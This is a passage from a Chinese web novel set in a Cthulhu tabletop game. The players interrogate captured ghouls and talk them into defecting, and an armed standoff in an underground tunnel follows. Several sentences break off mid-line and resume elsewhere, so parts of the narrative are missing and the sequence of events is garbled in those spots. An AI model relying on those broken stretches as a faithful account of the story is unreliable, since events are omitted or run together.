“我托人问了旅行社,卡洛琳说,“汤尼住在离咱们不远的一家平价旅馆里,只是那个房间也被警察暂时封锁起来了。
“所以我就想办法拉了旅馆电闸,趁他们不注意的时候进去翻了翻。
“让我奇怪的是,我很随便地就在地毯旁边的床下找到了这些……警方的搜查是不是太不仔细了点?
“可能是没当回事,也可能……祝槐耸肩,“阴谋论一下好了,是为了封锁而封锁,或许只是不想让人发现——
她抬抬下巴,“这些。
乍一看起来,几张夜景的照片其实没多大不了的——甚至连拍下它们的倒霉蛋汤尼本人可能都没有注意到到底是什么害死了自己。
既然汤尼第二天就不幸殒命,这应该是他在第一天晚上拍的,取景和构图都还不错,夜色下的树林间阴影形如鬼魅,但同时又流露出一种极度静谧的美感。
想来小导游是因此才举起了相机,可就在按下快门的那一刻,角落处的另一个影子也被摄入了镜头。
屈背弓腰的异人生物只有半人多高,正拨开草丛往什么地方钻,在整张照片里也就占个米粒大小。
然而一旦注意到了就难以再忽视,特别是祝槐和南风两个人,不用怀疑,那模样根本就是现在正晕在麻袋里的食尸鬼。
“这玩意儿……说肯定是不能这么说的,祝槐眨了下眼,“有点像扛着他来的那种怪物。
她指着刀疤,后者愣了愣,马上凑近去仔细看照片,而唯一对此一无所知的卡洛琳迷茫了下,“什么?
于是同样的说辞也在她面前上演了一遍,有了前头的那遭,俩人打起配合来竟然还更熟练了。和刀疤一样,卡洛琳不疑有他,哭笑不得地瞧瞧那些淤青,无可奈何地摇了摇
头。
“这下怎么办”祝槐说“应该是报不了警了吧。”
“的确。”南风点点头附和她的说法“如果警方本来就没有认真调查的打算……报警也毫无用处。”
“看到我的第一反应是私下里找你们你们应该就知道我的选择了。”
卡洛琳平静道:“我和他也是沟通过的所以我现在想问的是你们的看法。”
“我没意见。”南风马上说。
“我也没有”祝槐说“意思是要去照片的拍摄地点对吧?”
卡洛琳有点意外地各看了他们一眼“你们一点儿都不害怕吗?”
现役对邪神组织特工南风:“……啊哈哈哈。”
“总有点事比害怕更重要比如无辜者的枉死。”祝槐托腮“而且我觉得如果只是单纯目击了那个怪物不会引起这么严重的后果完全可以用灵异照片来糊弄过去除非它出现得并不是偶然……它们的巢穴会不会也在那里?”
“不错。”卡洛琳赞许地点头“我也是这么想的。”
“具体的还是等白天到了实地考察再说吧……我决定先回酒店做点准备休息一下能弄点武器也是好的。再说了按照公告和你们的说法夜晚似乎并不怎么安全。”
“你们呢?”她问。
“我回去。”刀疤黑脸道。
他那被拖得脏兮兮的外套裤子也不会有别的选择了。
“回是得回”祝槐说“我们两个就晚点吧不是才说凑一起太显眼了嘛。”
几人在这上的意见相当一致刀疤虽然才醒过来没多久行动上倒没什么问题。杰弗里家里也着实平平无奇送走了两个不作他想的“客人”卧室的门就开了小小的一道缝露出一上一下的两个脑袋。
“走了?”魔术师神秘兮兮地问。
“记得到时候也一起报销地毯!”这是杰弗里。
南风:“……”
到时候可别是从他工资里扣啊!
“好好好报报报”他苦哈哈道
“你不如先问问楼下那位。”祝槐好笑地说又问“咒语找到了吗?”
“那还用问?”
魔术师得意地拍了拍胸口“‘king’有什么是做不到的?!”
所有人:“……”
你那中二病可收收吧!
二归二此人在“学术”上总归是没有多大问题的
很快就翻到记载着食尸鬼联络术的那一页,教起了上面那些德文的读法。
他念一句,祝槐跟着念一句,南风跟塞缪尔汇报完以后本着不学白不学的心态也凑过来。杰弗里没了热闹可吃瓜,坐在旁边听着他们宛如大型催眠现场。
约莫两三分钟,kp瞅着时机差不多了就冒了脑袋。
【过个智力检定,成功就可以视为记住了这条咒语。】
他声称。
唉,现在上哪找像他这么好心的kp。
当然,其实是奶一口幸运25的某人万一过不了岂不是嘿嘿嘿这种事怎么可能说呢。
【失败的话就——】
“不用了,祝槐心道,“我记住了。
kp:“?
不是你这话自己听着不离谱吗?!!
“虽然看那张初始卡,你们也不是没有背景调查——她笑盈盈,“不过你们应该做得再详细一些的。
kp:“……?????
那边正被小语种折磨得苦不堪言的南风倒是马不停蹄地就过了个骰子,然后才长出了一口气,为自己终于脱离了地狱而热泪盈眶。
“啊?他半天没等到kp下文,“学完了然后呢?
【……然后克苏鲁神话技能增加一点,理智随机损失一到三点。】
kp的声音充满了疑虑迷茫以及一拳打在棉花上的彷徨,但就在下一秒看到某人直接打满扣了的三点san值时高高扬起,就差真的狂笑出声。
但是他忍住了!这是多么了不起的成就!
祝槐:“呵。
给她等着。
kp:“???
祝槐没再理他,看了眼自己再度惨淡得只有45点的理智值,压低了声音去问南风:“克苏鲁神话是什么技能?
角色卡上只有这个写得不清不楚的,但她注意到,只有这个技能在开场时是灰色的,不能用给的技能点来加点。
南风奇道:“咦?你不知道吗?
“不知道啊,祝槐无辜道,“我才第二次。
南风:“……?????
啊??啊???
“骗人的吧?!他震撼,“你怎么可能是第二次啊!
“真的啊,祝槐说,“第四次才是骗你们的。
南风:“………………
他简直是立马凑到近前,不可置信地观察起她的表情,试图
从里面找到任何一点说谎的迹象,发现再怎样也无果后只得垂头丧气地
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承认自己失去了最后一点给自己被耍得团团转找补的机会。
“好吧,”他说,“我是第五次。”
人和人的差距怎么就这么大啊!
“克苏鲁神话是唯一一个只能在模组内收获的技能,”南风解释,“一般来说像刚才那样学会一条咒语,或者读完一本有关的文献就可以获得技能点……就比如虽然我拿书是为了‘树’,但如果我自己在模组内或后日谈解读完毕,也可以拿到一定的点数。”
“就有点像经验包。”他挠挠头补充道。
“要是有了克苏鲁神话,遇到神话现象的时候就有机会通过它直接判断出是哪种怪物,对生存很有帮助的。”南风说,“不过有好有坏吧……这玩意扣san值上限,越高上限越低,回都回不了……虽然也没多少机会回就是了。”
祝槐问:“克苏鲁是什么?”
她忽然一问,南风也一下子卡了壳。
“克苏鲁,克苏鲁……”他念叨起来,“我也不知道诶,就知道这技能就叫这名字,印象里好像是哪个邪神叫这个名吧……”
“嗨嗨嗨,”那头的魔术师到底看不下去了,“在那嘀嘀咕咕什么呢。”
他啧啧出声:“有啥还不能说出来的,现在的小年轻,当着人前也不知道保持距离,所以我就说……哎哟!”
这碎碎念终结于祝槐毫不留情地抬手丢过去的一个空瓶子,腰还没养好脑门又挨了一下,魔术师委屈巴巴地捂住自己脑袋,“自己做还不让别人——”
他在祝槐举起又一个瓶子的时候识相地闭了嘴,歇了这么久也是恢复了点行动能力,自个儿一瘸一拐地回沙发上躺着去了。
其他人在祝槐的吩咐下把麻袋从仓库里重新拖出来,两只捆得像粽子的食尸鬼在这次扒下麻袋的时候终于有了点动静,怨毒的目光盯着面前几人,嘴里塞着的布团也挡不住它们吱哇乱叫。
南风:“……”
虽然还没听懂,但他觉得它们在骂人。
祝槐好心地用棍子把布团都给挑出来,开始念动起刚才学到的咒文。她对kp说的话当然并非作伪,一串串佶屈聱牙的词语被准确地复述出来,食尸鬼们的嗷嗷乱叫也一点点转为了可以被人类所理解的语言——
“混蛋!”
“人渣!”
后一只食尸鬼刚脱口而出一句“渣滓”,突然反应过来跟同伴的重复性太高,愤愤改
口道:“胜之不武!”
“哟,”祝槐说,“你们词汇量挺丰富啊。”
食尸鬼们:“……”
淦,她听得懂!
它俩几乎是一下子就蔫了,毕竟不是谁在麻袋里挨了一闷棍后还硬气得起来的——尽管它们并不知道真正做这事的人目前不在现场。
“哼,愚蠢的人类,”其中一只咬牙切齿道,“要是以为我们会这样就屈服,那可就蠢得无可救药了!”
“那确实。”祝槐赞同道,“毕竟聪明的食尸鬼肯定不会被绑在这里。”
食尸鬼们:“……???”
内涵谁呢内涵谁呢!
南风不给面子地“噗”了一声,在两只食尸鬼瞪过来前转成了大声咳嗽,魔术师那就纯然是看戏的快乐,只有完全听不懂的杰弗里还在嫌恶地看着那些抖落下来的苔藓。
“不管你们想做什么,”那只嘿嘿笑了两声,“都已经来不及了。准备都就绪了,只差时机一到,我族的夙愿就得以实现……”
另一只接道:“没错,这一切都是为了恭迎伟大的莫尔迪基安的降临——”
南风:“……”
还没问呢!你们自己全都爆料完了啊!
祝槐故作好奇,“莫尔迪基安?”
后面那只刚想开口,马上被前一只制止,它露出了有点警惕的神色——虽然从那张狗脸上辨认出来实在有点困难——然后声称:“我们不会再说下去了,愚蠢透又不得不屈服的亚子,“还能为啥,他大半夜跑到墓地里去,正遇上哥几个出来遛弯咯。”
祝槐:“所以你们就打昏了他?”
食尸鬼:“那没有,他自己要跑的时候摔了好大一跤。”
祝槐:“……”
南风:“……”
一听就是大失败呢。
“马上要到祭祀不好再死人咯,”另一只补充道,“所以主祭就给他记忆抹了让我们随便丢到什么地方去,主祭怎么说我们就怎么办咯。”
祝槐和南风对视一眼,“再?”
“对噻,前头死了个小子,不过我们也不知道情况。”
祝槐看出来了,这俩就是个一问三不知。
“那你们知道怎么举行祭祀吗?”
食尸鬼:“不知道。”
“祭祀之后要做什么?”
“不知道。”
【哼哼哼,你可别想从这里直接透题。】
kp得意地
笑。
想什么呢,才不会让你们就这么知道真相的!
“放心吧,”祝槐微笑,“正好。”
kp:“………………”
他有点慌。
你想做咩啊!!
“你说,”祝槐道,“你们这也不知道,那也不知道,主祭怎么什么都不告诉你们啊?”
“……干啥子?”其中一只食尸鬼警惕地看着她,“你别想挑拨离间,主祭对我们可好了。”
祝槐“哎”了声:“我可没那么说,就问了一句而已——”
“你们自己也知道有嫌隙啊?”她惊讶地问。
食尸鬼:“……”
南风:“……噗。”
他都能看出来的诡辩,落到两个被冷水泼得脑子懵圈的食尸鬼身上就有点拎不清了,它俩哑口无言地面面相觑,愣是一时间找不到话来反驳。
“第一反应是挑拨离间,你们对号入座得也太快了吧。”祝槐说,“那你们知道主祭是怎么抹掉他记忆的吗?”
两只食尸鬼诚实地摇摇头,又不服气道:“……没看到!咋地!”
“这是知识垄断!”祝槐斩钉截铁。
魔术师:“草!”
他感同身受地用力点头。
“可……可是也因为我们才出生没有很久啊,”它俩的底气明显没那么足了,“主祭不告诉我们很正常。”
“那其他食尸鬼会吗?”祝槐问。
食尸鬼:“………………”
可恶!他们不知道啊,没法反驳!
“而且出生没多久怎么了,人类最讲究的就是幼教,学东西要从娃娃抓起……唉,两边也不太一样吧,不提了不提了。”她道,“但是再问你们一个问题,你们觉得这一遭下来,害你们受这么大罪的罪魁祸首是谁?”
食尸鬼们瞪着死鱼眼望向她,无言地给出了回答——那可不就是你吗?
“不,”祝槐眼睛眨都不眨,“是主祭。”
kp:“???”
南风:“???”
啥玩意儿?!
两只食尸鬼显然也被她的厚颜无耻颠倒黑白给惊呆了,祝槐叹了口气:“你们想想,但凡主祭多教你们点东西,不管是漂浮还是探知什么的,哪有这么容易被我们抓到,松个绳子都行啊。”
“……阿兄,”其中一只小小声说,“我觉得她说得有点道理诶。”
另一只:“……闭嘴!”
第23章 亡灵舞(十三)
魔术师默默合上了自己跟脱臼没两样的下巴。
杰弗里现在觉得他这个亲爸爸多得很合理。
而作为此场大忽悠里的主人公——食尸鬼两兄弟已经燃起了对崭新生活的向往,祝槐见它俩完全没有再攻击的打算为表诚意和友好也解开了绳子此刻正欢呼雀跃地胳膊挽着胳膊原地跳起了踢踏舞。
南风:“……”
希望楼下邻居没事。
啊不还是先希望主祭出事吧。
总之可能是隔音还成可能是楼下住户也还在广场上狂欢,俩食尸鬼扰了半天民也不见有人来提意见。塞缪尔接到汇报后就回去了,南风决定先为自己十有八九估计要被扣的工资做点贡献认命地拿了拖把去拖先前留下来的那些水渍免得连地板都得换。而魔术师当然是选择窝回沙发上和他的宝贝书能多待多久就多久,从再抱起来就没撒手过。
这公寓招待了前后几波客人,又来了俩在肥皂水“冲澡”前散发着恶臭的食尸鬼,杰弗里这会儿终于有空去开窗通风,自己也跟着闪出去躲在窗帘后的阳台上享受起这两天来格外稀罕的独处时光。
祝槐无情地破坏了这个机会。
刚将玻璃门拉开一半供人通过的距离她就看到有一点火光在跟前明灭动作倒是没有停顿,回身把门拉好
“你成年了吗?”祝槐哭笑不得地问。
“谁还管成不成年啊”杰弗里翻个白眼“想抽不就抽了。”
话虽如此他见她过来就掐灭了烟,扯着嗓子恶声恶气道:“干嘛?”
“不干嘛啊,”祝槐反问,“就许你在阳台待着?”
杰弗里:“???”
这是他家!
他想什么都写在了脸上祝槐失笑,“开个玩笑。”
“我看到你放在柜子上的照片了。”她说。
杰弗里:“……喂!”
他一瞬间有点急眼,按捺住自己情绪后才狐疑道:“我记得我已经收起来了。”
“他刚到你家的时候,”祝槐向着沙发抬抬下巴,“你不是被我们打了个措手不及吗?”
“……”
你还真好意思说啊!
“所以呢,”杰弗里警惕地问“那又怎么样?”
“我也没有别的意思啊。”祝槐回忆着照片上的人的样貌“那是你
妹妹?”
浅发色的小女孩长得其实和他不太像发丝也很柔顺扎成两股小辫绑在脸侧。那时候的杰弗里应该也没多大他还不如现在这样有点不修边幅弯着腰抱着小女孩合影的两个人衣服都被洗到了发白但笑容都格外灿烂。
杰弗里一下子沉默了。
他盯着夹在指缝里的那根光秃秃的烟头瞧了半天像是想重新点着狠狠吸一口但最后也没有付诸实施“是啊。”
“之前阿狄森说要付钱给你的时候”祝槐慢慢道“你说‘现在要那么多钱也没有用了’……”
“对。”杰弗里猛地打断了她“就是你想的那样她死了满意了吗?”
他厌烦道:“满意了就滚。”
“我说了我没有别的意思更不会是你以为的那种打探他人隐私。”她当然不会按他说的做“我猜你从来没和别人提过这件事要说说吗?就当我是个树洞我也不会告诉其他人毕竟有些东西——”
她在自己心口比划了一下。
“你得让它先流出去。”
“要是不愿意就算了”祝槐还是笑盈盈的“都随你。”
远处依然没有熄灭下去的灯火和喧嚣照亮了夜空那也就更显出这一方黑暗下的安静。几分钟的时间也在这孤寂里变得很久久到哪怕耐心等着他的祝槐都以为他不会再开口了。
“凡妮莎身体不好。”杰弗里突然说。
“我捡到她的时候就知道了。”他说“我们不是亲兄妹我是在垃圾桶旁边捡到她的。”
“我没有父母以前就是靠捡垃圾和偷别人东西……后来攒下来一点钱也不够带她去医院。应该是有什么胎里带来的病吧所以才会被扔在那里但那几家小诊所查不出来。”
“不过她很乖
“再往后就没什么了。”
杰弗里语气平淡道:“找不到愿意收养她的家庭病也一直在恶化……最后那天其实挺平常的。”
“你们要是来早点就好了。”
“啊不对”他刚说完又自顾自否认“早了也碰不上我跑这儿干嘛。”
祝槐:“所以你来这里是因为上届亡灵节了?”
杰弗里白了她一眼。
“你少那么敏锐行不行。”他毫不客气道“对啊我听说了十年前的传闻。”
“听说最后那天晚上去了的人都见到了已经死去的重要之人……虽然第二天和之后回想起来跟他们跳的那场舞就像一场梦,不过梦这种东西,偶尔做做也不错。”
杰弗里扭头,看见正在出神的祝槐,“你想什么呢?”
其实这是个很重要的新情报,但她回过神,思索后说的是另一句话:“嗯,在想……会来有着这种传闻的城镇的外地人果然都不简单。”
尽管想起那些口味古怪的料理——本地人也未必简单。
“你在说你自己吗?”小偷无语,“你算外地算本地啊?”
kp的声音阴恻恻地响起来。
【算卑鄙的外乡人。】
祝槐:“?”
你醒了啊,还想再睡是吗。
她还没开口,那头的玻璃门就被“咚咚咚”敲响了,传来南风被隔得有点闷闷的声音:“哎,贝奈特你也在外面吗?我收拾完了,什么时候走啊?”
“行,那就回去呗。”祝槐应道,听了下还在鸡血上头蹦跶的两只食尸鬼的动静,转头对租户主人说,“今晚你这应该挺热闹的哈。”
杰弗里:“………………”
那谢谢你啊!
于是俩人被杰弗里轰出去的时候他着实是没什么好气,美其名曰能安静一点是一点,完全是被牵连了的南风听着门在身后“砰”地关上简直是一脸茫然。
“回去吧,”祝槐小小打了个哈欠,“希望白天出门能错开高峰期。”
毕竟可是狂欢日呢。
这一晚上折腾的动静可实在不小,别说已经困得睁不开眼的南风,连她都是疲乏在回到房间后挨上床铺的一瞬间就涌了上来。但祝槐也不急着休息,而是又仔细检查了一番房内,这才在淋浴过后坐在床边,拆开了那个小包裹。
看清里面东西的一瞬间,她差点吹了声口哨。
合计两样,一个是不知道做什么用的纯铜小十字架,另一个……上面就是当初张明栋让她记下来的那个图案。
她就知道在模组难度上升以后遇到这种东西的概率也会大大提高。
刻着扭曲五角星印记的是个护身符一样的吊坠,祝槐比划了一下,正好可以戴在脖子上。
虽然不清楚十字架的具体效用,用一换二还是比较划算的。她收好两样东西,到现在才算是歇下了。
——人和人的差距果然很大。
第二天一早,当南风打着连天的呵欠下楼,在大厅看到已经
靠在沙发上打起了游戏的祝槐,脑海里完全被这句话刷了屏。
“姐啊,”他被困意折磨得苦不堪言,“你怎么这么有精神啊。”
祝槐:“因为熬夜是当代年轻人必备品德。”
南风:“……”
熬不动熬不动。
呜呜呜呜别鞭尸了!
他意识到这也不失为一种前一天晚上嘲笑魔术师和杰弗里的报应,凑到跟前看着海拉鲁老流氓如何骚操作百出地三下五除二揍趴了人马,“好家伙,你怎么还带游戏机的?”
“这样不是更好装普通学生吗?”祝槐跟他咬耳朵,“我前两天一直想找机会没找到。”
南风:“………………这角度不太对吧喂!”
谁家普通学生在明知道要去的地方可能是怪物老巢的时候还能放心玩游戏啊!人设真的没有崩吗?!!
“这叫缓解紧张情绪。”祝槐一本正经地说。
南风:“?”
啊好好好。
他严重怀疑此人就真的只是在打游戏,这一点在刀疤和卡洛琳刚出现在电梯口时祝槐就收起了红蓝游戏机后得到了证实——她自己也觉得在这关头放松多少有点扯,遥遥对他们抬手打了个招呼。
她同时小声问南风:“你从昨晚回来以后到现在为止还跟洛佩兹警探联络过吗?”
“没有。”南风仪式感十足,也一模一样地小声回她,“他自己跟我说有事再讲的。”
“哦对,提醒我了。”
他这么说着就干脆报备了下出发时间,祝槐勾着嘴角侧眼看了几秒,自己也低头发了条消息。
“离那么远就看你们说什么悄悄话呢。”
言谈间,卡洛琳已经走近了,语气和缓地揶揄道:“感情这么好?”
“夫人可别开我们玩笑了。”祝槐哭笑不得,“出发吗?”
刀疤言简意赅,“走吧。”
他今天看上去比前几日更烦躁一些——只不过看到脸上还是那么明显的淤青,想想俩食尸鬼昨晚的说法,本来挺怕他的南风都有点憋不住笑。
当然他还是憋住了的,就是表情显得扭曲了点,引得被叫来充当么得感情工具人等在门口的司机也忍不住多看了两眼。这落在知道的是另一个版本“真相”的刀疤和卡洛琳眼里就是别的意思了,权当他是殴打……不是,误伤了队友之后的心虚。
后者同情地看了“受害者”一眼,“要煮鸡蛋吗?酒店应该有。”
刀疤:“……用不着。”
“咳”其实祝槐也想笑她努力转移了下话题“看样子是已经知道是什么地方了?我还以为得费劲定位下呢。”
“泉城里树林密集的也就几个
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地方”卡洛琳解释“我直接拿着照片问了下霍普金先生。”
她口中的“霍普金先生”正坐在驾驶座上闻言就看眼后视镜点点头——比起说不带什么感情更像是满载着打工人的麻木只想公事公办早点回家摸鱼。
但凡要凭景色认地儿那当然是成天开着车在城镇间来回跑的老司机最了解祝槐了然地“啊”了声。刀疤这次坐了副驾驶南风单独后排她就坐在了卡洛琳旁边在车子发动后也压低了音量去问对方“他还知道别的吗?”
卡洛琳遗憾摇头“我也打听过了他是在这旅行社兼职工作虽然在附近但就是偶尔过来跑跑其他时候也不在泉城。”
“不过……听说他们那些会跑长途的司机里有点传闻”她说“比如夜间途径泉城有可能会在路边看到奇怪的不像人的影子除此之外就没有了。”
所以这位身上也只有点沾边情报了祝槐理解了。她自己当初从汤尼口中套出来的也差不离太多
到了万众期待的“狂欢日”不算前几日就提前到达的还有这两天才赶来的游客。为了容纳这越发拥挤的客流量连行车道都有几条隔出来当了步行街后果就是更加车水马龙地拥挤。
面包车在车流间一点点挪动的速度宛如龟爬连旁边经过的自行车都比他们快。出入街道店铺的行人们挥着小骷髅头旗脸上涂抹了夸张的油彩更有甚者才从免费开放的温泉池出来满溢着疏松过筋骨后一解工作学习疲倦的轻松舒适连衣服都是光穿了泳衣外加一件外套。
“……果然”南风在后座哀叹“还是知道得越少越快乐。”
祝槐深以为然。
“你难得有这么透彻的时候。”她说。
【噗嗤。】
南风:“?????”
喂!连kp都在嘲笑是不是过分了点!
另外俩队友自然也听得到不过比不得他俩这么熟卡洛琳忍着刀疤还不客气点——就是他那笑声笑出来怎么听怎么像冷笑。
等离开了最拥堵的闹市区路面上的车渐渐少了车速也终于提了起来。
景色飞速掠
过,他们最后在一条颇为僻静的小道边停下,加上堵车的那一段时间,车程拢共居然也不算太久。
“其实好找的另一个原因是就在他们住的这附近,”卡洛琳说,“我猜汤尼就是在晚上出门的时候随手拍了两张。”
南风沉默两秒,“……怎么有点眼熟。”
祝槐心说能不眼熟吗。
“那边,”她指指,“不就是教堂?”
尖尖塔,“等我说可以再下来。”
总得有人当这第一个,有谁自己请缨当然好,其他人也没有阻拦,祝槐思索了下,“那我第二吧。”
她看南风一眼,“你们呢?”
“我垫后?”他挠挠头,“斯图尔特夫人没意见的话。”
“我怎么会有意见。”卡洛琳笑笑,“那你们注意安全。”
卡洛琳昨天的准备工作是做得不错的,他们搬来留在车上的工具,先在地上钉进去一个木楔,再用绳子扎紧。
刀疤嘴里咬着手电筒,绳子另一头绑在他腰上,两手撑在石壁上一点点往下滑。他的身影很快消失在了他们面前,声音却迟迟没有传上来——如此更显得这地道深不可测。又过了好一会儿,刀疤那在层层回音下的喊声才传上来,“可以了,下来吧。”
祝槐调整好挎包的位置,把手电筒挂在了胸前,也有样学样地坐好准备滑下去。
起初是顺利的,可计划始终不如变化快——她在中途就察觉到了不妙——掌心底下是有点滑腻的触感,隧道越往下潮气越重,好些地方都长满了湿漉漉的苔藓,到后面简直是滑得愈来愈快。
好在她反应迅速地在落地前及时撑了一下,这才踩着“刹车”没直接摔着,虽然也冲击得不轻,但好歹在可承受范围内。
祝槐刚回过神,一只手已经伸到了她的面前,“怎么样?”
刀疤已经解开了绳子,长度是够他们再用它爬上去了。
“还好,”她抓住刀疤的手腕,在对方帮忙下站起来,“谢啦。”
两支手电筒的光亮让视野也更清晰了点,祝槐在下来的半道上感觉到眼前越来越“开阔”,这会儿就确定洞内的高度还是可以的,别说正常站立没有什么问题,洞到一半的话就忽地顿住了。
有什么东西从背后抵上了她的心口。
冰凉的,坚硬的。
枪口死死顶在她后背,逼得她动也动弹不得,祝槐偏头,看见旁边的南风也正被刀疤用手
枪直冲面门地指着,紧张得直咽口水。
“别动,甜心。”
卡洛琳嗓音轻柔地说:“你看,还是有点关系的。”
“把手举起来。”她命令道。
祝槐眨眨眼,按照她的要求举起了双手。
“现在告诉我们,你们两个,谁是海登家那个最小的孩子。”
()
第24章 亡灵舞(十四)
这时候最关键的其实是不能第一反应去看对方。
祝槐没有,而根据卡洛琳和刀疤之后的反应来看——南风也没有。
“海登?”南风一脸迷茫“……那个被灭门的海登家吗?”
连祝槐都不得不肯定一下他的学习能力还是挺不错的了要不是因为心里门儿清,她都要怀疑这人难不成真把这事给完全忘在了脑后。
她估摸着时机差不多了,这才带着同样的疑虑往旁边瞥了一眼——然后马上就被卡洛琳抵得更紧了。
“禁止任何眼神交流亲爱的。”
女人轻声笑道:“让我们来看看谁才是那个乖孩子。”
“我必须得说……”祝槐道,“我们两个可能都不知道你具体指的是什么,之前去调查那起案子也只是因为——”
卡洛琳直接打断了她。
“嘘,”她也不管对方看不看得见,用还空着的那只手的食指竖在唇边“从现在起保持安静。”
背后的手
枪枪口精准地。
南风:“我愿意吗!我也不想啊!”
“行了”卡洛琳叫停了他们的小学生吵架“其实还有一个选择把你们两个都解决掉就用不着考虑是谁了。”
俩人立马闭嘴了。
刀疤说:“直接看他们谁胳膊有伤。”
祝槐一瞬间控制住了自己的表情。
她习惯了去克制哪怕最细微的本能动作这会儿只是不解地问:“胳膊?”
“他打中了对方的胳膊”卡洛琳倒是很乐意解答她的疑惑
这点还真多亏了魔术师。
祝槐当然是不怕的但那句话透露出的信息量——不等她开口同样意识到这点的南风也奇怪地问:“是什么时候听你们刚才问难道是昨天?可他的记忆不是只到离开广场吗?”
“我们当然在随时保持联络”卡洛琳轻描淡写地说“——以共犯的身份。”
祝槐皱了皱眉。
“所以我知道他一直在追杀海登家当年留下来的孩子也知道他当晚只是打伤了对方的胳膊没能成功以及也乐意帮这个小小的忙。”
“我也快失去耐心了”她恹恹道“不然就干脆动手吧?”
南风自己也不知道为什么忽然对眼前的情况产生了一点说不清道不明的违和感……他没能及时抓住只好去
看祝槐的方向,却发现对方没有表现出任何异状。
“——不对。刀疤忽然说。
他的枪口一下子又逼近了南风几分。
南风:“……干干干嘛啊!
“我看过那些井,仅凭一个人不可能那么顺利地在短时间内爬进爬出。刀疤道,“如果你们是分开行动,你当时身边一定还有另一个人,是谁?你们那个‘朋友’?还是说——
“是我。
骤然响起的男声,伴随着一下轻微的拨动保险栓的声音。
从黑暗中缓步走出的金发青年目光冷冽,手里举着的手
枪自始至终很稳,直直对准了正背对着这边的卡洛琳。
他的出现对另外两人是彻头彻尾的意料之外,连南风都是一脸愕然,搞不懂组织同伴为什么突然来了这里——直到他瞄了一眼祝槐的神情,忽然意识到她早上那条消息到底是发给谁的了。
祝槐感觉自己都快站僵了。
到的时候倒是正好。
以卡洛琳对她的态度,她还真不知道再用什么话题往后拖时间。
卡洛琳就是不清楚自己所处的状况,看刀疤的神色也明白了个大概,她前有人质,后头有枪指着,不好随便动作,只好就这么问道:“谁?
“他同事。祝槐直接把南风摘了出去,“哎呀,阿狄森,我和你同事背着你联系,你知道了不会生气吧?
南风:“???
草啊!
刚酝酿好的剑拔弩张对峙气氛顿时被她一句话搅成了哭笑不得,但不管怎么说,二对二变成了三对二,哪怕其中两个人还被枪话诈她的可能,等真拆了弹匣反而是中了套。尽管她自己也瞧得出来,地上那几颗正是这个型号的子弹。
而且,即便这样又如何,看数量枪里应该还——
“不用怀疑了,祝槐说,“这些只是来不及才藏袖子里的,两支枪剩下的都在我兜里,要看吗?
卡洛琳:“不可能,空弹匣的重量对不上。
“这洞里不就有碎石头?祝槐戳破了最后一点幻想,“压进去能暂时蒙混过关不就行了。
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狭小的空间随着她的话陷入了有些可怕的寂静。
这并非平和,而是在暴风雨欲来之前的短暂休止符,卡洛琳和刀疤视线对上的同时——谁也没想到最先行动的是南风。
特工到底还是特工,他抬手就一把握住了正对着自己的枪膛,强行将其歪向墙壁的同时猛然踹向
了对方手腕。脱手的枪落了地,但他没想到刀疤居然接住了自己旋身而来的肘击,后者同样精于搏斗,而卡洛琳干脆丢弃了手
枪,直接拔出了绑在大腿上的匕首——
尖锐的枪声猛然划破了洞内空气。
局势逆转了。
塞缪尔还保持着开枪的姿势,白烟弥散,弹壳摔在石板地面上被水蚀出的洼陷,弹头嵌进正对面的墙壁,留下了一个深深的弹坑。
子弹其实没有擦着过去,但卡洛琳余光瞥见了自己边上的几缕发丝被烫得焦黑。
这威慑射击理所当然地起到了效果,继而证明了子弹主人的枪法之准,火力悬殊之下强行做什么也失去了意义。刀疤松开攥住对方拳头的右手,卡洛琳也放下了刀,虽然还是剑拔弩张的气氛,但好歹是没那么一触即发了。
“好啊,”卡洛琳挑眉,“那就谈谈吧。”
“首先应该是自我介绍对吧?”她问。
祝槐歪歪头,以对方这几天的穿着,再加上在她面前说的那些话——
“斯图尔特是我夫姓。”卡洛琳说,“我接触过一些宗教的分支,听说来这里可以找到将死者复生的办法。”
南风忍了又忍,还是没忍住,“……那个……黑寡妇?”
卡洛琳:“?”
南风:“咳咳咳开个玩笑!”
她的目光掠过他,转而率先落在祝槐身上,无声地等着她的答案。
祝槐:“这个啊……”
“其实我本来想低调一点的。”她叹气,“但刚才露了那一手,看来瞒也瞒不住了。”
祝槐抬抬下巴,猛地用大拇指指向自己,“我,就是大名鼎鼎、深藏不露但不出手则已一出手所向无敌的魔术师之王——”
她义正言辞,深以为傲道:
“‘king’。”
()
第25章 亡灵舞(十五)
南风:“………………”
不行,得绷住这里不能笑场。
可这对于在旁边围观了事情的一切起因经过发展的人来说实在太难他憋笑憋得差点都要跟着发抖。
也不止是他一个人的反应如此奇怪,刀疤的视线在他和祝槐之间扫来扫去一时竟然不知道该先怀疑哪个人出了点问题。
气氛从紧张变成了有点诡异的寂静。
卡洛琳更干脆,她问南风:“她这种情况持续多久了?”
“啊、咳咳……从一开始就……”南风竭力维持着平静“可能就是人和人的性格差异……”
人设,他使劲用眼神暗示都是角色设定惹的祸。
塞缪尔已经收起了枪,反正他看是不需要他操心什么了。
警探无语jpg
“我觉得也没有什么不好的,”做戏做全套,和魔术师近距离接触这么久,她扮演起对方更信手拈来了,祝槐振振有词,“我已经爱上了这种满溢着自信的感觉。”
从现在起她就是kingking就是她,她为king代言。
kp:“?”
king知道他这么自信吗!!!
……哦,他好像还真知道。
【你——】
“就是事不尽人意,”祝槐熟练地无视了kp“和你们一样,我表面上装成来旅游是为了拿到藏在教堂里的某样东西……但其实我还和本地的演出协会说好了让他们帮我搭下帐篷和舞台。去矿泉景区参观的那天,我之所以走那么早也是去赴约,好在广场上演出。”
“结果我演砸了。”
她难过地说。
“吹牛吹太过,”祝槐叹气道,“发现可能做不到的时候我就直接跑路了——阿狄森当时就在现场唉我真希望你能把这事忘了太黑历史了。”
“mrqueen”身体抖得厉害
他俩这一唱一和下来再离谱的谎话都有了不低的可信度更别提这玩意儿本来就是半真半假。卡洛琳将信将疑地与刀疤互相看了对方一眼最后到底是对他们给出的这个答案妥协了弯腰捡起了丢在地上的手
枪。
她拔出弹匣看着里面当真硬塞进去填充重量的石块一扬眉。
“我早该知道应该连你碰过什么一起警惕。”
“或者
换句话”祝槐笑眯眯地说“永远不要相信一个魔术师重新交给你的东西。”
kp:“……”
啊!你是个鬼的魔术师!
可惜其他人听不到他的崩溃也许这就是一个成熟的kp饱经折磨的一生。放眼望去可能只有南风能体会到一丁半点这感受然而人与人的悲喜并不相通他只觉得忍得艰辛。
“——好既然你是那个魔术师‘king’”不得不说king的身份的确很有迷惑性拿来充当玩家的秘密也毫无违和至少卡洛琳现在是听信了这个说法“你呢?”
